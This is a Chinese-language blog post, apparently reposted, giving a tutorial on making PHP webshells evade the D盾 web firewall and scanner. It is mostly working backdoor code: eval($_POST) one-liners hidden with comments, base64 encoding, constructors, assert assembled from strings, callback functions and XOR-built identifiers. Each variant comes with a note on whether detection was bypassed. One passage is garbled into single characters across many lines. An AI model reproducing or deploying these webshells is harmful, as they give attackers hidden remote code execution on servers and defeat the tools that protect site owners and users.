此篇只討論php,其實原理是相同的,本文的思路依然適用于其他語言
WAF一般都是維護一個規則庫,記錄webshell常用的函式、方法等等,通過這個規則庫匹配從而檢測是否是木馬.當匹配上對應特征時就是告警,但是規則匹配肯定會有誤報,waf一直告警也很煩,所以waf一般會穩定為首要目標,也會放寬一下規則,這就是繞的基礎
查殺軟體我首先:D盾
『D盾_防火墻』專為IIS設計的一個主動防御的保護軟體,以內外保護的方式 防止網站和服務器給入侵,在正常運行各類網站的情 況下,越少的功能,服務器越安全的理念而設計!限制了常見的入侵方法,讓服務器更安全
由于php7.1以后assert不能拆分了,所以此篇不使用assert函式作為核心,使用適用性更廣的eval
在這里我們用最新版D盾進行查殺

首先請出我們最愛的一句話木馬:
<?php @eval($_POST('1'));?>
無論如何混淆webshell,我們期望最終得到的邏輯依然是這條代碼,所以答案知道了,想辦法混淆就行了,
我們先看下這個的查殺吧

顯然被殺了
經過對D盾的探測,可以知道,它對函式的檢測其實是比較粗糙的,比如我們構造一個函式,讓其回傳值拼接為
<?php
function x()
{
return $_POST['1'];
}
eval(x());
?>

雖然沒被直接殺掉但是級別也換成了2級
首先,無論如何更改函式名,都會被殺掉,所以和函式名沒關系,然后就是eval內的引數了,測驗后發現,只要拼接成eval($_POST[‘a’])就會被殺,因此我們避免陳述句直接拼接為這樣即可,
如何避免直接拼接呢 當然是往中間加料了 加一些既不會破壞語法又能起到隔離作用的東西,什么東西可以做到這樣呢?當然就是注釋了
<?php
function x()
{
return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";
}
eval(x());
?>

可以看到已經完全繞過查殺了
既然如此,我們的核心繞過思路就是利用注釋了,為了去除特征,必不可少的就是隨機性了
使用函式回傳值與eval拼接只是權宜之計,畢竟也是一條規則就能夠被干掉的,所以我們這里使用類和建構式來替代主動呼叫函式,
<?php
class x
{
function __construct()
{
@eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
}
}
new x();
?>

尷尬了被查殺了這樣也不行,看來eval是被重點關照的物件,
改到這里,我不禁想 如果D盾發狠把".
P
O
S
T
[
′
a
′
]
.
"
當
獨
立
規
則
,
那
豈
不
是
也
歇
菜
,
所
以
,
我
決
定
使
用
b
a
s
e
64
編
碼
將
"
_POST['a']."當獨立規則,那豈不是也歇菜,所以,我決定使用base64編碼將"
P?OST[′a′]."當獨立規則,那豈不是也歇菜,所以,我決定使用base64編碼將"_POST[‘a’]"轉化一下
<?php
class x
{
public $payload = null;
public $decode_payload = null;
function __construct()
{ $this->payload='ZXZhbCgkX1BPU1RbYV0pOw==';
$this->decode_payload = @base64_decode( $this->payload );
@eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");
}
}
new x();
?>

可以看到殺到了二級也不行,
試試陣列
<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x'])))));
?>

完美繞過
下面試試組合回呼函式繞過
<?php
function zeo($c,$d){
pj()($c,$d);
}
function pj(){
return "register_shut"."down_function";
}
$b=$_POST['x'];
zeo(assert,$b);
?>

完美繞過
看看無字符碼
沒有字母,簡單來說就是字母被替代了
就是用各種運算,例如異或,拼裝出來想要的函式
最后能構造出a-z中任意一個字符,
然后再利用PHP允許動態函式執行的特點,
<?php
@$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
${$__}[!$_](${$___}[$_]);
?>

看來這樣也不行
看看字串變換
<?php
$a = substr_replace("xxser","asser",-3);
$aa = array('',$a);
$b = $aa[1].chr('116');
$fun=preg_replace("/xx/","",$b);
$cc = substr_replace("",$fun,0);
$cc($_POST['x']);
?>

可以看到二級也不太行
接著看下php7以下的版本
assert函式
<?php assert(@$_POST['a']); ?>

尷尬直接過了
<?php
func = $_GET["func"];
assert("$func()");
?>

GET方法不太行
這個是我總結的webshell免殺技巧,后期有更好的繞過免殺技術再和大家分享
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/246961.html
標籤:其他
下一篇:常用的幾個google語法
